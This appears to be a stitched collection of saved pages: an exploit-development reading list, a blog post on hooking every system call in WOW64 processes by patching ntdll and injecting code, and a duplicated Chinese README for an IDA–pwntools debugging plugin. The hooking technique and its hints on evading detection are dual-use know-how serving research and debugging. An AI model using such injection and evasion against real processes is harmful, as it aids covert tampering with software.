6 |  http://www.corelan.be:8800/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/ |  Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR |  12-09-2009 |  Tutorial |  Windows, x86-32 |  CVE-2006-6199  
7 |  http://bernardodamele.blogspot.com/2009/12/dep-bypass-with-setprocessdeppolicy.html |  DEP bypass with SetProcessDEPPolicy\(\) |  09-12-2009 |  Article |  Windows, x86-32 |  N/A   
8 |  http://vrt-blog.snort.org/2009/12/dep-and-heap-sprays.html |  DEP and Heap Sprays |  17-12-2009 |  Blog post |  Windows |  N/A   
9 |  http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/ |  A gentle introduction to return-oriented programming |  12-03-2010 |  Article |  \(x86\) |  N/A   
10 |  http://archives.neohapsis.com/archives/fulldisclosure/2010-03/att-0553/Windows-DEP-WPM.txt |  Exploitation With WriteProcessMemory\(\)/Yet Another DEP Trick |  xx-03-2010 |  Article |  Windows |  N/A   
11 |  http://blog.harmonysecurity.com/2010/04/little-return-oriented-exploitation-on.html |  A little return oriented exploitation on Windows x86 \(Part 1\) |  12-04-2010 |  Article |  Windows, x86-32 |  CVE-2010-0838  
12 |  http://blog.harmonysecurity.com/2010/04/little-return-oriented-exploitation-on\_16.html |  A little return oriented exploitation on Windows x86 \(Part 2\) |  16-04-2010 |  Article |  Windows, x86-32 |  N/A   
13 |  http://www.corelan.be:8800/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/ |  Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’sTM Cube |  16-06-2010 |  Tutorial |  Windows, x86-32 |  N/A   
14 |  _https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=1g5FD5gjWAIu0iGf7gaF-DBfgya-u9kYX2KT9EgAdbpyjVzXI90imHI783LIF&hl=en _ |  Bypassing ASLR and DEP under Windows |  17-06-2010 |  Article \(PDF\) |  Windows, x86-32 |  N/A   
15 |  http://eticanicomana.blogspot.com/2010/06/so-called-return-oriented-programming.html |  The so called Return Oriented Programming... |  21-06-2010 |  Blog post |  Windows, x86-32 |  N/A   
16 |  http://www.exploit-db.com/osx-rop-exploits-evocam-case-study/ |  OSX ROP Exploit – EvoCam Case Study |  06-07-2010 |  Tutorial |  Mac OS X |  OSVDB-65043  
17 |  http://www.vnsecurity.net/2010/10/simple-mac-os-x-ret2libc-exploit-x86/ |  Simple Mac OS X ret2libc exploit \(x86\) |  05-10-2010 |  Blog post |  Mac OS X, x86-32 |  N/A   
18 |  _http://taossa.com/archive/bh08sotirovdowd.pdf _ |  Bypassing Browser Memory Protections |  07-08-2008 |  Article |  Windows, x86-32 |  N/A   
19 |  http://j00ru.vexillium.org/?p=690 |  Exploiting the otherwise non-exploitable: Windows Kernel-mode GS cookies subverted |  11-01-2011 |  Article \(PDF\) |  Windows, x86-32 |  CVE-2010-4398  
20 |  _https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B64ViR5GhSKINDcxZGM1YTItM2U0Ni00ZGZlLWFhNDgtZmY4YjE2Y2I1Y2Rk&hl=en _ |  x86-64 buffer overflow exploits and the borrowed code chunks |  28-09-2005 |  Article \(PDF\) |  Linux x86-64 |  N/A   
### 3.3. Advanced techniques, improvements

**Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **OS/Arch** |  **Info**  
---|---|---|---|---|---|---  
1 |  http://www.phreedom.org/presentations/heap-feng-shui/ |  Heap Feng Shui in JavaScript |  2007 |  Slides, video, paper |  Windows, x86-32 |  N/A   
2 |  http://dsecrg.com/pages/pub/show.php?id=22 |  Writing JIT-Spray Shellcode for fun and profit |  05-03-2010 |  Article \(PDF\) |  Windows, x86-32 |  N/A   
### 3.4. About mitigations

**Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **OS/Arch**  
---|---|---|---|---|---  
1 |  https://www.blackhat.com/presentations/bh-europe-09/Fritsch/Blackhat-Europe-2009-Fritsch-Buffer-Overflows-Linux-whitepaper.pdf |  Buffer overflows on linux-x86-64 |  22-01-2009 |  Article |  Linux, x86-64   
2 |  http://blogs.technet.com/b/srd/archive/2009/08/04/preventing-the-exploitation-of-user-mode-heap-corruption-vulnerabilities.aspx |  Preventing the exploitation of user mode heap corruption vulnerabilities |  04-08-2009 |  Article |  Windows   
3 |  _http://www.kryptoslogic.com/download/ROP\_Whitepaper.pdf _ |  Security Mitigations for Return-Oriented Programming Attacks |  20-08-2010 |  Article |  Windows   
4 |  http://blogs.technet.com/b/srd/archive/2010/12/08/on-the-effectiveness-of-dep-and-aslr.aspx |  On the effectiveness of DEP and ASLR |  08-12-2010 |  Article |  Windows   
5 |  https://wiki.ubuntu.com/Security/Features |  Security/Features - Ubuntu Wiki |  17-02-2011 |  Wiki |  Linux   
## 4\. Shellcode writing

**Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **OS/Arch** |  **Info**  
---|---|---|---|---|---|---  
1 |  _http://hick.org/code/skape/papers/win32-shellcode.pdf _ |  Understanding Windows Shellcode |  12-06-2003 |  Article \(PDF\) |  Windows, x86-32 |  N/A   
2 |  http://www.vividmachines.com/shellcode/shellcode.html |  Shellcoding for Linux and Windows Tutorial |  xx-06-2007 |  Article |  Windows, x86-32/Linux |  N/A   
3 |  http://blog.harmonysecurity.com/2009/08/calling-api-functions.html |  Calling API Functions |  05-08-2009 |  Article |  Windows, x86-32 |  N/A   
4 |  http://blog.harmonysecurity.com/search/label/Shellcode |  Implementing a Windows, x86-32 Kernel Shellcode |  05-11-2009 |  Article |  Windows, x86-32 |  N/A   
5 |  http://www.corelan.be:8800/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/ |  Exploit writing tutorial part 8 : Windows, x86-32 Egg Hunting |  09-01-2010 |  Tutorial |  Windows, x86-32 |  CVE-2009-3837  
6 |  http://grey-corner.blogspot.com/2010/02/windows-buffer-overflow-tutorial.html |  Windows Buffer Overflow Tutorial: An Egghunter and a Conditional Jump |  13-02-2010 |  Tutorial |  Windows, x86-32 |  CVE-2005-0338  
7 |  http://www.corelan.be:8800/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/ |  Exploit writing tutorial part 9 : Introduction to Windows, x86-32 shellcoding |  25-02-2010 |  Tutorial |  Windows, x86-32 |  N/A   
8 |  http://www.corelan.be:8800/index.php/2010/08/22/exploit-notes-win32-eggs-to-omelet/ |  Exploit notes – win32 eggs-to-omelet |  22-08-2010 |  Article |  Windows, x86-32 |  N/A   
9 |  http://www.exploit-db.com/foxit-reader-stack-overflow-exploit-egghunter/ |  Foxit Reader Stack Overflow Exploit – Egghunter Edition |  14-11-2010 |  Tutorial |  Windows, x86-32 |  OSVDB-68648  
10 |  http://mcdermottcybersecurity.com/articles/windows-x64-shellcode |  Windows x64 shellcode |  11-01-2011 |  Article |  Windows, x86-64 |  N/A   
11 |  http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-3-%E2%80%94-adding-shellcode/ |  Stack Based Buffer Overflow Tutorial, part 3 — Adding shellcode |  09-03-2011 |  Tutorial |  Windows, x86-32 |  N/A   
## 5\. Vulnerability explained

**Nr** |  **URL** |  **Description** |  **Date** |  **OS/Arch** |  **Info**  
---|---|---|---|---|---  
1 |  http://roeehay.blogspot.com/2008/10/graphviz-buffer-overflow-code-execution.html |  Graphviz Buffer Overflow Code Execution |  08-10-2008 |  \- |  N/A   
2 |  http://roeehay.blogspot.com/2009/06/apple-quicktime-image-description-atom.html |  Apple QuickTime Image Description Atom Sign Extension Memory Corruption |  02-06-2009 |  Windows, x86-32 |  CVE-2009-0955  
3 |  http://roeehay.blogspot.com/2009/08/advisory-adobe-flash-player-avm2.html |  Advisory: Adobe Flash Player and AIR AVM2 intf\_count Integer Overflow |  02-08-2009 |  Windows, x86-32 |  CVE-2009-1869  
4 |  http://www.vupen.com/blog/20110326.Technical\_Analysis\_and\_Win7\_Exploitation\_Adobe\_Flash\_0Day\_CVE-2011-0609.php |  Technical Analysis and Advanced Exploitation of Adobe Flash 0-Day \(CVE-2011-0609\) |  26-03-2011 |  Windows, x86-32 |  CVE-2011-0609  
5 |  http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html |  CVE-2011-0611 Adobe Flash Zero Day embeded in DOC |  12-04-2011 |  Windows, x86-32 |  CVE-2011-0611  
6 |  http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx |  Analysis of the CVE-2011-0611 Adobe Flash Player vulnerability exploitation |  12-04-2011 |  Windows, x86-32 |  CVE-2011-0611  
7 |  http://secunia.com/blog/210 |  Adobe Flash Player 0-day Exploit Analysis \(CVE-2011-0611\) |  14-04-2011 |  Windows, x86-32 |  CVE-2011-0611  
Following blog collects huge amount of vulnerabilities mapped to CVE's:
http://xorl.wordpress.com/category/bugs/. Binary analysis also with CVE's can
be found here: http://www.abysssec.com/blog/tag/binary-analysis/

## 6\. Tools and projects

**Nr** |  **URL** |  **Description** |  **Date** |  **Type**  
---|---|---|---|---  
1 |  http://www.corelan.be:8800/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/ |  Exploit writing tutorial part 4 : From Exploit to Metasploit – The basics |  12-08-2009 |  Tutorial   
2 |  http://www.corelan.be:8800/index.php/2009/09/05/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development/ |  Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development |  05-09-2009 |  Tutorial   
3 |  http://www.corelan.be:8800/index.php/2010/01/26/starting-to-write-immunity-debugger-pycommands-my-cheatsheet/ |  Starting to write Immunity Debugger PyCommands : my cheatsheet |  26-01-2010 |  Tutorial   
4 |  http://skypher.com/SkyLined/heap\_spray/small\_heap\_spray\_generator.html |  Heap spray generator |  \- |  Online service   
5 |  http://www.offensive-security.com/metasploit-unleashed/exploit-development |  Exploit Development |  \- |  Site   
6 |  http://gorope.me/ |  FREE Online ROP Gadgets Search |  \- |  Online service   
## 7\. Other collections, wiki's, etc.

**Nr** |  **URL** |  **Description** |  **Type**  
---|---|---|---  
1 |  http://skypher.com/wiki/index.php/Main\_Page |  Skypher - the wiki for absolutely nothing |  Wiki   
2 |  http://myne-us.blogspot.com/2010/08/from-0x90-to-0x4c454554-journey-into.html |  From 0x90 to 0x4c454554, a journey into exploitation. |  Collection   
3 |  http://5d4a.wordpress.com/2010/10/13/my-smashing-improved/ |  Smashing the stack in 2010 |  Article, PDF   
4 |  http://projectshellcode.com/ |  Knowledge base for all shellcode related resources |  Site   
5 |  http://pentest.cryptocity.net/ |  Penetration Testing and Vulnerability Analysis |  Course   
6 |  http://www.shell-storm.org/papers/index.php?lg=english |  Database of papers |  Collection   
7 |  http://secdocs.lonerunners.net/ |  Database of papers |  Collection   
8 |  http://www.theamazingking.com/exploit.html |  Exploit Development |  Collection   
9 |  http://packetstormsecurity.org/files/tags/paper/ |  Whitepaper Files |  Collection   
10 |  http://6dev.net/mirror/doc.bughunter.net/ |  Database of papers |  Collection   
11 |  http://sf-freedom.blogspot.com/ |  Software Vulnerability Exploitation Blog |  Blog   
12 |  http://tools.securitytube.net/index.php?title=Open\_Security\_Training |  Open Security Training |  Collection of video   
13 |  http://www.phrack.org |  Phrack Magazine |  Magazine   
## 8\. Posters and other graphics

**Nr** |  **URL** |  **Description** |  **Date**  
---|---|---|---  
1 |  http://redmine.corelan.be:8800/projects/corelanart/files |  Graphics and Art \(Wallpapers\) |  30-11-2010   
## 9\. Timeline and history

**Nr** |  **URL** |  **Description** |  **Date**  
---|---|---|---  
1 |  http://ilm.thinkst.com/folklore/index.shtml |  Memory Corruption and Hacker Folklore |  xx-xx-2010   
2 |  _https://zynamics.files.wordpress.com/2010/02/code\_reuse\_timeline1.png_ __|  Code Reuse Timeline |  xx-02-2010   
3 |  http://www.abysssec.com/blog/2010/05/past-present-future-of-windows-exploitation/ |  Past, Present, Future of Windows Exploitation |  08-05-2010   
4 |  https://media.blackhat.com/bh-us-10/whitepapers/Meer/BlackHat-USA-2010-Meer-History-of-Memory-Corruption-Attacks-wp.pdf __|  Memory Corruption Attacks: The \(almost\) Complete History |  25-06-2010   
5 |  https://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/ |  Smashing the Stack in 2011 |  25-01-2011   
## 10\. Uncategorized

**Nr** |  **URL** |  **Description** |  **Date** |  **Type** |  **OS/Arch**  
---|---|---|---|---|---  
1 |  http://www.labri.fr/perso/fleury/courses/SS07/download/papers/Evolution\_of\_Buffer\_Overflows.pdf |  On the Evolution of Buﬀer Overﬂows |  20-05-2007 |  Article |  x86-32   
1 |  http://msdn.microsoft.com/en-us/magazine/cc163311.aspx |  Analyze Crashes to Find Security Vulnerabilities in Your Apps |  xx-11-2007 |  Article |  Windows, x86-32   
2 |  _http://documents.iss.net/whitepapers/IBM\_X-Force\_WP\_final.pdf _ |  Application-Specific Attacks: Leveraging the ActionScript Virtual Machine |  xx-04-2008 |  Article \(PDF\) |  \-   
3 |  https://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx |  Stack overflow \(stack exhaustion\) not the same as stack buffer overflow |  28-01-2009 |  Article |  \-   
4 |  http://code.google.com/p/chromium/issues/attachmentText?id=35724&aid=126993484832405244&name=Pwnium-1.3.html&token=feb53c401c565218ebbb4e57977988f2 |  Pwnium 1.3 - an exploit for an integer overflow in WebGLUnsignedIntArray. |  01-03-2010 |  Commented exploit |  Windows, x86-32   
5 |  https://blogs.msdn.com/b/sudeepg/archive/2010/04/29/debugging-a-crash-an-example.aspx |  debugging a crash – An example |  29-04-2010 |  Article |  \-   
6 |  http://resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/ |  Debugging Fundamentals for Exploit Development |  28-02-2011 |  Article |  Windows, x86-32 

# Intercepting System Calls on x86\_64 Windows | Development & Security
**Created:**| _5/20/2012 4:32:40 PM_  
---|---  
**Updated:**| _5/20/2012 4:32:40 PM_  
**Author:**| __  
**Tags:**| _windows x64 hooks tracing syscall_  
  

# Intercepting System Calls on x86\_64 Windows

####  Table of Contents:

  * Abstract
  * Introduction
  * ptrace\(2\)’s approach
  * Architecture
  * Windows’ Implementation
  * Internal Workings
  * Features and Limitations
  * Optimizations and Improvements
  * Proof of Concept

#### Abstract

This post presents the reader a technique that can be used in order to achieve
Universal System Call Hooking under WOW64 \[1\] from usermode.

Throughout the next paragraphs we will briefly introduce the reader to system
calls, motivation for this article, the way Linux’ ptrace\(2\) handles system
call interception, how WOW64 windows performs system calls and finally how we
take advantage of this technique by intercepting every system call, giving
third party software a way to analyze and/or modify system calls made by a
process.

Additionally, we will discuss possible improvements, advantages and
disadvantages of the presented technique.

Finally, we provide the reader a Proof of Concept including all sources, pre-
compiled binaries, a sample output and a small analysis based on the output
and the source.

#### Introduction

A system call is, as the name suggests, a call to the “system” or kernel.
System calls are the lowest processes get because it’s the only way to
communicate with the kernel, whatever the kernel does with the data a process
provides, cannot be seen by the process; processes only see the result of the
system call. It’s worthy to note that any kind of Input/Output goes through
the kernel \(be it a file, socket, etc.\)

Whereas the Linux kernel provides the ptrace\(2\) \[2\] API, which allows
processes to intercept system calls made by child processes \[3\], Windows
does not provide such functionality. Windows does, however, ship with a fairly
comprehensive debugging framework, which we will _not_ use here \(that is, we
do not use dbghelp.dll to help debugging, **or attach to a process at all** ,
this means that anti-debugger methods do **not** work for processes that are
being hooked using this technique, or RREAT \[POC\] in general.

Because windows does not natively support system call hooking, there have been
a number of kernel drivers \(e.g. rootkits\), which would intercept system
calls by hooking the SSDT table \[4\], installing kernel hooks, etc.

Using the technique presented in this post, one **does not need administrator
privileges** to perform system call hooking \(which is required to load
drivers into the windows kernel\), instead, it requires \(atleast\) the same
privileges as the process we want to intercept. This makes the technique
fairly attractive because for one, a user doesn’t have to run as administrator
in order to debug another process. Secondly, 64bit windows kernels make it
fairly hard to load drivers at all, and once loaded, the driver is not allowed
to hook anything at all \(using the traditional methods\), because PatchGuard
\[5\] will jump in and restore any hooks.

#### ptrace\(2\)’s approach

The Linux kernel provides the ptrace\(2\) API which handles everything related
to the debugging of child processes. It also supports intercepting system
calls and does this in a very nice way, therefore we use the same way in our
implementation.

Linux’ ptrace\(2\) works as follows. When a child process performs a system
call, the parent \(the debugger\) gets a notification _before_ the system call
is executed \(we will call this the _pre-event_ from now on\), from here on
the parent will be able to inspect the arguments to the system call by reading
the registers \(or stack, depending on the syscall calling conventions
\[6\].\) The parent also has the ability to alter arguments, because it can
change registers and write memory in the child. After the parent finishes the
pre-event inspection, it will tell ptrace\(2\) that the child can execute the
system call. The Linux kernel will then continue with the execution of the
system call that was made by the child process \(with either the original
parameters, or parameters that were altered by the parent\), after the system
call finishes and right before the child process gains execution again, the
_post-event_ is triggered; the parent receives another notification, this time
the parent is able to read the return code and any altered parameter \(e.g.
functions such as read\(2\) fill a buffer, given as parameter, with contents
from a file.\) Note that the parent is, logically, also capable of altering
the return code and/or anything else.

It should be obvious that the ability to intercept system calls gives full
control over a processes’ behaviour.

#### Architecture

The technique presented here is specific to WOW64 processes \(that is, 32bit
binaries running on a 64bit windows version\), however, with some extra work
this technique can also be deployed to work on 32bit windows versions
\(although it’s not as “reliable” on 32bit windows for various reasons.\)

In order to be able to run 32bit binaries on a 64bit windows version, there
has to be an extra layer between usermode and kernelmode. This is because a
64bit kernel expects 64bit pointers as parameter, whereas the 32bit
application provides 32bit pointers.

This brings us to segments, on WOW64 there are two code segments, the code
from our 32bit binary will run in segment 0×23, which tells the CPU to emulate
a 32bit CPU. However, when a syscall is made, the CPU has to switch to segment
0×33, which makes the CPU use the 64bit instruction set.

Switching segments in WOW64 is done by a so-called far jump \(a jump which has
an address and a segment.\) Because this far jump is kind of tricky, and
hardcoded, it only appears once in ntdll.dll \(where all system calls take
place.\)

By replacing the instruction at this particular address, we can intercept
every system call.

#### Windows’ Implementation

As stated earlier, there is only one address in ntdll.dll where the segment
switch is done. So whenever a process makes a system call, this particular
address is hit. In other words, by redirecting the execution flow from this
address, we are able to intercept every system call the process makes.

The next problem we face; how do we get that address? Let’s dive into some
assembly, namely that of the ZwCreateFile\(\) \[7\] function \(on Windows 7
SP1.\)

<img src='img/Temp2_4492.png' />

All this function does is setup the arguments correctly for the system call,
the important parts are 0×52 \(this is another notation for 52h\) which is the
system call number for the ZwCreateFile\(\) API and the fact that the ‘edx’
register is loaded with the address to the first argument. Followed by the
instructions to initialize a few registers is the call instruction, this
instruction continues code execution at an address which is specified by
fs:\[0xc0\], we fire up a debugger and find the address in fs:\[0xc0\]
\(simply by executing “mov eax, fs:\[0xc0\]” and reading the value of ‘eax’
after executing it.\) We analyze the instruction at this address and see that
it is, as you might have guessed already, a far jump\!

We have just seen what the ZwCreateFile\(\) function looks like, and it’s
worthy to note that every system call looks just like it, except they have a
different number for the ‘eax’ register \(every function has a unique system
call number.\)

Now we know how we have to hook at which address, it is time to get to our
implementation.

#### Internal Workings

Our PoC is based on several components; a redirection at the childs far jump,
some injected code in the child to handle system calls and notify the parent
and finally a thread in the parent, which waits for notifications.

**Setting the Universal System Call Hooking mechanism up goes as following.**

The parent creates an Event object and duplicates it to the child process,
this way when the child signals the event object, the parent will get a
notification, which is what we need for pre- and post-event notifications.

The parent allocates a memory page in the child and writes some hand-written
machine code to it, before the machine code \(btw, this is 32bit machine
code\) is written to the child, a few depencies are updated in the machine
code, such as the address of the far jump and the handle of the Event object
in the child process. As ntdll.dll appears to be mapped to the same base
address in the child and parent process, we can simply take the far address
\(an address with segment\) from the parent process.

The parent creates a thread \(in its own process\) which is basically an
infinite loop that waits for the child to signal the event object, more on
this later.

The parent overwrites the far jump in the child with a jump to the hand-
written machine code that we injected earlier.

**Implementation of the Injected Machine Code**

The injected machine code behaves just like ptrace\(2\)’s method, but in order
to achieve this, a few hacks are necessary. \(ptrace\(2\)’s method: pre-event,
perform real system call, post-event.\)

After a child notifies the parent it enters a busy-loop \[8\], the busy-loop
gives the parent enough time to catch up. The parent will now suspend \[9\]
the thread in the child process, and after it has been suspended, read the CPU
registers.

The parent keeps track whether this notification is a pre-event or a post-
event, simply by toggling a boolean value every notification.

If the notification is a pre-event, the parent will read the values from the
‘eax’ and ‘edx’ CPU registers \(these contain the system call number and the
address of the first argument, respectively.\) From here on, the parent can
decide to read all arguments to the function, by reading data from the child
process \(at the address specified by the ‘edx’ register.\)

However, when the notification is a post-event, the parent can read the return
value of the system call and optionally any altered arguments. A lot of
windows APIs alter arguments to the system call, such as ZwReadFile\(\), a
low-level variant of fread\(\), which changes the contents of the ‘buffer’
parameter to the contents from a file \(or any other stream.\) In other words,
the post-event allows the parent to read the ‘buffer’ parameter that was
filled by the ZwReadFile\(\) system call, and therefore the parent is able to
read _and_ modify these contents.

When the parent finishes processing either a pre- or post-event, it will set
the Instruction Pointer \(also called Program Counter\) past the busy-loop and
resume the thread, this way the thread will happily continue executing.

To perform the signal to the parent we need the ZwSetEvent\(\) API, however,
we don’t want to intercept our own API call, so instead of calling the API
\(or fs:\[0xc0\] for that matter\), we do a call to the far address directly.

#### Features and Limitations

The main feature is, well, Universal System Call Hooking in another process.

Advantages of the technique described here include; the ability to run without
the need for administrator access, the ability to read and modify arguments
\(or even the system call\!\), etc.

The major two disadvantages are; a process will always be able to bypass this
method if it’s specifically told to and there can be quite some slowdown as a
system call turns into three system calls \(ZwSetEvent\(\) twice for pre- and
post-events and of course the real system call\) and any overhead that the
parent brings, not including any extra overhead the kernel brings for Inter
Process Communication \(signalling an event object in another process\) and
manipulation of the thread in the child process \(i.e. suspending and resuming
a thread, reading and writing a threads CPU registers, and reading and writing
memory in the child.\)

The current implementation, which can be found in the Proof of Concept, is
unfortunately single-threaded only.

#### Optimizations and Improvements

A major improvement, speed-wise, is by using a whitelist table in the child.
Our Proof of Concept already does this; when the parent injects the hand-
written machine code, it also allocates a 64k table \(no optimizations here.\)
Each entry in this table maps to a boolean value which indicates if the system
call should be hooked or not. So, when the child performs a system call, the
value of the ‘eax’ register \(which thus contains the system call number\) is
checked against the table, if the boolean value is false then code simply
executes the original system call and does nothing else, this way system calls
we are not interested in will not be sent to the parent, therefore the only
overhead for those system calls is a table lookup, which is quite “cheap.”

As the current implementation only allows single-threaded applications,
**multi-threaded support** should also be added. A simple approach is as
follows. When the child creates a new thread, the parent creates a new event
object in the parent and duplicates it to the child, the parent then makes
sure that the event object in the child is put somewhere in the threads Thread
Local Storage \[10\]. From here on, when the child creates a system call, it
will notify the parent with an event object unique to the current thread. The
parent will then see that the system call occured from a certain thread and it
will do its thing on the specific thread etc. Note that the parent is able to
receive a notification when a child creates a new thread, because this is a
system call as well.

Because replacing the far jump to a normal jump is quite easy to detect, it
might be interesting to, instead of replacing the instruction completely, only
replace the far address \(this would result in an address with a segment of
0×23.\) If software still picks this up, one could go further and modify the
64bit code located at the original far address \(e.g. jump back to 32bit code
from there.\) Methods to make it **harder to detect** are only limited by your
imagination <img src='img/Temp2_4493.png' alt=';)' />

If somebody were to add multi-threaded support, great care has to be taken
regarding **Race Conditions** \[11\]. Race Conditions can occur when multiple
threads try to read and write to and from the same memory addresses, for
example. In our situation, a malicious thread might alter a threads registers
\(by using the windows API\) thereby possibly causing undefined behaviour in
the parent. The best way to avoid this is by reading all registers, stack
memory and whatever is needed only once and reusing this data, rather than
reading it every time it’s needed.

#### Proof of Concept

Source with Binaries can be found here. Up-to-date source can be found on
github. This Proof of Concept has been tested **successfully** on **64bit
Windows Vista with Service Pack 2** and **64bit Windows 7 with Service Pack
1**.

The PoC consists of two parts, a parent and a child. The child attempts to
open a file called “hello world\!”, and yes, this is an invalid filename. The
parent reads the filename from the child process after receiving the pre-event
notification and shows the return value \(which is an error, because the
filename is invalid\) after receiving the post-event. Running the Proof of
Concept \(on a 64bit windows machine of course\!\) gives something like the
following.

[code]

    $ parent.exe
    Universal System Call Hooking PoC   (C) 2012 Jurriaan Bremer
    Started hooking child with process identifier: 3308
    Child 3308 opens file: "hello world!".
    Child 3308 return value: 0xc0000034 -1073741772
    
[/code]

Note that 0xc0000034 is defined as STATUS\_OBJECT\_NAME\_NOT\_FOUND, in other
words, the filename is incorrect.

If we dive into the child’s source, we see a single line of code:

[code]

    fclose(fopen("hello world!", "r"));
    
[/code]

What is interesting about this is the fact that, although we call the
fopen\(\) function in our code, code execution still ends up at
ZwCreateFile\(\). This is merely a conclusion that fopen\(\) is a huge wrapper
around CreateFile\(\), which is in turn a wrapper around ZwCreateFile\(\).

The parent’s source is also fairly straight-forward and well-documented, go
read it if you like. As the PoC’s source will show, the internals of our
implementation lay in a library named RREAT, needless to say, you can find the
internals there.

A small note regarding RREAT; RREAT was made with in mind that it should
unpack packed software, etc. Therefore it’s built in such a way that a failing
API leads to an exit\(\) call, when you’re unpacking a script and something
goes differently than expected, then that means that the script was not packed
in the way you thought it was, therefore your unpacking script is wrong, hence
there is no need for the process to keep running. Because of this RREAT is not
very robust by default, keep this in mind when developing on top of RREAT <img
src='img/Temp2_4493.png' alt=';)' />

That was it for today, hopefully you liked the content of this post. Feel free
to contact me with any suggestions, critics etc. Pull requests are also more
than welcome, see here.

Cheers, Jurriaan \(jurriaanbremer at gmail dot com\)

#### References

  1. WOW64 – Windows 32bit on Windows 64bit
  2. ptrace\(2\) man page
  3. Attaching to a running process makes it a child process as well.
  4. SSDT Table Hooking
  5. Patchguard – Kernel Patch Protection
  6. Calling Conventions on Wikipedia
  7. ZwCreateFile\(\) on MSDN
  8. Busy Loop on Wikipedia
  9. When a thread is suspended, it doesn’t execute until it’s resumed again.
  10. Thread Local Storage on Wikipedia
  11. Race Conditions on Wikipedia

May 15, 2012

Posted in Uncategorized and tagged x86\_64 Windows System Call Hooking.

### One response to Intercepting System Calls on x86\_64 Windows

  1. Matt Graeber said:
May 17, 2012

Excellent work\! Thank you for sharing\!

Reply

### Leave a Reply

Your email address will not be published. Required fields are marked \*

Name \*

Email \*

Website

Comment

# anic/ida2pwntools

**Created:**| _3/2/2019 6:12:03 PM_  
---|---  
**Updated:**| _3/2/2019 6:12:03 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# ida2pwntools

ida2pwntools 是一款IDA 7.0上的插件，用于远程连接pwntools启动的程序进行pwn调试。

# 安装

将 ida2pwntools.py 放入IDA安装目录下的 plugins 目录即可。

在IDA中 加载elf文件后会在最右侧显示ida2pwntools菜单表示安装成功。

# 使用

## 准备

  * IDA 中配置好远端服务器地址（Debugger->Process options->Hostname/Port）
  * IDA 中配置好需要加载的程序名字（Debugger->Process options->Application），只填写程序名，不要带路径。ida2pwntools会根据这个名字找进程
  * 在远端服务器启动IDA提供的linux\_server / linux\_server64 等
  * 在使用pwntools的脚本exp.py中，增加wait\_for\_debugger代码

[code]

    from pwn import *
    from pwnlib.util.proc import wait_for_debugger
    io = process("silent", stdin=PTY)
    wait_for_debugger(io.pid)
    
[/code]

## 调试

  * 方法1 ：用快捷键尝试一次加载

先启动exp.py，执行到wait\_for\_debugger等待程序被调试。切换到IDA中按快捷键F12启动ida2pwntools插件，插件会查找进程尝试进行一次加载。

  * 方法2 ：用窗口尝试等待加载

在IDA中的ida2pwntools菜单，点击“connect to
pwntools”，插件弹出等待窗口等待同名程序启动。然后启动exp.py，运行至wait\_for\_debugger，程序自动会被挂载上。

<img src='img/Temp2_10087.png' width='335' height='251' alt='image' />

<img src='img/Temp2_10088.png' width='421' height='232' alt='image' />

  * 插件连接pwntools成功后，即可在IDA和pwntools中调试

<img src='img/Temp2_10086.png' width='376' height='130' alt='image' />

<img src='img/Temp2_10089.png' width='440' height='400' alt='image' />

# 适用版本

IDA 7.0

# 注意事项

  * 使用快捷键F12只能尝试一次加载，因为IDA中对于脚本运行有限制。
  * 为了调试更快捷，建议关闭Source-Level（Debugger->Use source-level debugging），否则一旦连接到远程程序，IDA就会弹出各种警告提示框让你确认。

# ida2pwntools

ida2pwntools 是一款IDA 7.0上的插件，用于远程连接pwntools启动的程序进行pwn调试。

# 安装

将 ida2pwntools.py 放入IDA安装目录下的 plugins 目录即可。

在IDA中 加载elf文件后会在最右侧显示ida2pwntools菜单表示安装成功。

# 使用

## 准备

  * IDA 中配置好远端服务器地址（Debugger->Process options->Hostname/Port）
  * IDA 中配置好需要加载的程序名字（Debugger->Process options->Application），只填写程序名，不要带路径。ida2pwntools会根据这个名字找进程
  * 在远端服务器启动IDA提供的linux\_server / linux\_server64 等
  * 在使用pwntools的脚本exp.py中，增加wait\_for\_debugger代码

[code]

    from pwn import *
    from pwnlib.util.proc import wait_for_debugger
    io = process("silent", stdin=PTY)
    wait_for_debugger(io.pid)
    
[/code]

## 调试

  * 方法1 ：用快捷键尝试一次加载

先启动exp.py，执行到wait\_for\_debugger等待程序被调试。切换到IDA中按快捷键F12启动ida2pwntools插件，插件会查找进程尝试进行一次加载。

  * 方法2 ：用窗口尝试等待加载

在IDA中的ida2pwntools菜单，点击“connect to
pwntools”，插件弹出等待窗口等待同名程序启动。然后启动exp.py，运行至wait\_for\_debugger，程序自动会被挂载上。

<img src='img/Temp2_10087.png' width='335' height='251' alt='image' />

<img src='img/Temp2_10088.png' width='421' height='232' alt='image' />

  * 插件连接pwntools成功后，即可在IDA和pwntools中调试

<img src='img/Temp2_10086.png' width='376' height='130' alt='image' />

<img src='img/Temp2_10089.png' width='440' height='400' alt='image' />

# 适用版本

IDA 7.0

# 注意事项

  * 使用快捷键F12只能尝试一次加载，因为IDA中对于脚本运行有限制。
